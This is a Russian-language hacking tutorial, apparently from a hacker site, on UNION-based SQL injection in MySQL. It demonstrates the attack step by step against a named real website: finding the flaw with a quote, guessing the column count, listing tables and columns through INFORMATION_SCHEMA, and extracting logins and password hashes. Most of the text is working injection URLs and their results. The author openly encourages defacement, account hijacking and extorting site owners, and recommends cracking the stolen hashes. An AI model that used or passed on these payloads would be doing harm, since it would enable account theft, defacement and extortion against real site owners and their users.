Здравствуйте, дорогие друзья! Несмотря на великое множество статей о SQL-инъекциях, я решил-таки написать свою, в которой рассмотрю только самое неоходимое для начала работы с этой самой распространенной ошибкой. В статье я буду рассматривать базу данных MySQL 5 версии (технология будет подходить и для старших версий), ибо если вы нашли базу с версие1 4 и ниже, могу вас заверить, что ваши попытки взломать базу данных не будут стоить свеч. I. Обнаружение. Итак, как же обнаружить наличие SQL-инъекта? Для этого нам нужно просмотреть туеву хучу сайтов и оставить из них те, на которых содержаться ссылки типа: http://www.lamer.com/news?id=1. Для того, чтобы понять, имеет ли эта ссылка уязвимость, нужно в конец этой ссылки дописать одиночную ковычку: http://www.lamer.com/news?id=1' Если при переходе на эту модифицированную ссылку страничка отображается некорректно (или вообще не отображается - это значит, что мы имеем дело со слепым инъектом), можно с уверенностью 99% говорить о SQL-инъекции. Что значит некорректное отображение? Да что угодно!:) Но в большинстве случаев на страничку выводится ошибка базы данных. Например, при переходе по ссылке http://7color.com.ua/index.php?key=slovar3&n=140' мы видим объявление об ошибке: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/www7col/domains/7color.com.ua/public_html/php/all/slovar3.php on line 28 II. Внедрение. Это нам подходит! Теперь для удачного взлома мы должны привести ссылку к виду: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1+LIMIT+1,1-- Обратите внимание на "UNION+SELECT+1": 1 - это количество полей, которое необходимо подобрать. Подбирается ручками или специальными прогами (можете использовать мою прогу - http://kgb-hack.ucoz.ru/load/mysql_parser/1-1-0-27). Но для практики мы будем подбирать ручками: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1+LIMIT+1,1-- http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,2+LIMIT+1,1-- http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,2,3+LIMIT+1,1-- http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,2,3,4+LIMIT+1,1-- В этом случае нам повезло - поля всего четыре. Мне, например, приходилось иметь дело с сайтами, на которых приходилось подбирать количество полей до 30 и даже до 40. Так что не унывайте и подбирайте до победного конца!:) Итак, последняя ссылка показывает нам результат: Цифры 2 и 4 показывают нам, что нужную нам инфу мы можем выудить из полей именно с этими номерами. Чтобы узнать версию БД подставляем нужный запрос в поле 2 или 4: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,2,3,version()+LIMIT+1,1-- Вот нам и вернули версию: 5.0.81-community III. Растерзание БД. Итак, дыра найдена, версию мы определили, что же делать дальше? А вот что... Большинство атак на базу данных направлены на угон учетных записей (в частности, аккаунта админа - для учинения беспредела на сайте и выбивания денег из буржуев, а также для возможности дефейса сайта). Так и поступим. Для начала нужно узнать имена таблиц в базе данных: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,table_name,3,4+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+1,1-- Что ж, первая таблица - CHARACTER_SETS, из своего опыта скажу: это означает, что база данных стандартная, не самописная. Чтобы узнать имена следующих таблиц, увеличиваем первый аргумент лимита (который означает строку таблицы БД). Немного поучавшись, доходим до ссылки: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,table_name,3,4+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+39,1-- и видим очень интересное имя таблицы - user Несложно догадаться, что именно эта таблица содержит аккаунты пользователей. Теперь нам необходимо узнать имена столбцов в этой таблице: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,column_name,3,4+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_name=0x75736572+LIMIT+1,1-- Обратите внимание на "table_name=0x75736572". То, что написано после знака равно - это название таблицы (user) в HEX-кодировке (перевести любую строку в HEX вы можете здесь: http://ostermiller.org/calc/encode.html). Опять же парсим в этой ссылке лимиты: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,column_name,3,4+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_name=0x75736572+LIMIT+1,1-- http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,column_name,3,4+FROM+INFORMATION_SCHEMA.COLUMNS+where+table_name=0x75736572+LIMIT+2,1-- и так далее.. Из выведенных результатов нас больше интересуют только столбцы под названиями "login" и "pass" IV. Последние штрихи. Итак, у нас в кармане имеется полный арсенал против данного сайта. Чтобы, наконец, узнать вожделенные учетные записи, нужно сфорировать конечную ссылку: http://7color.com.ua/index.php?key=slovar3&n=140+UNION+SELECT+1,concat(login,char(58),pass),3,4+FROM+user+LIMIT+1,1-- Вуаля! Видим логин и хэш пароля пользователя. Аккаунты всех пользователей опять же можно просмотреть, увеличивая первый оператор лимита. Но не спешите радоваться! Более 40% взлома облаывается именно на этом, потому что бывает непросто подобрать пароль по его хэшу. Для этого существует множество специализированных программ, из которых могу выделить самую достойную - Cain&Abel. Также существует множество онлайн-сервисов для расшифровки, в том числе и на нашем сайте - http://kgb-hack.ucoz.ru/Hash.html. Хотя, могу сказать, что можно вытрясти деньги из буржуинов, имея всю эту информацию на руках, для этого вовсе необязательно расшифровывать хэш. Ведь если не ты, то кто-то другой рано или поздно найдет эту дыру и уже не станет их жалеть:) V. Что остается добавить... В статье разобран реальный, рабочий пример. Данная уязвимость может быть обнаружена абсолютно на любом сайте, независимо от его владельцев, контента и тематики. Однако не советую слепо поддаваться желанию поломать всех и вся, действуйте осторожно, и все будет хорошо. Удачи!
|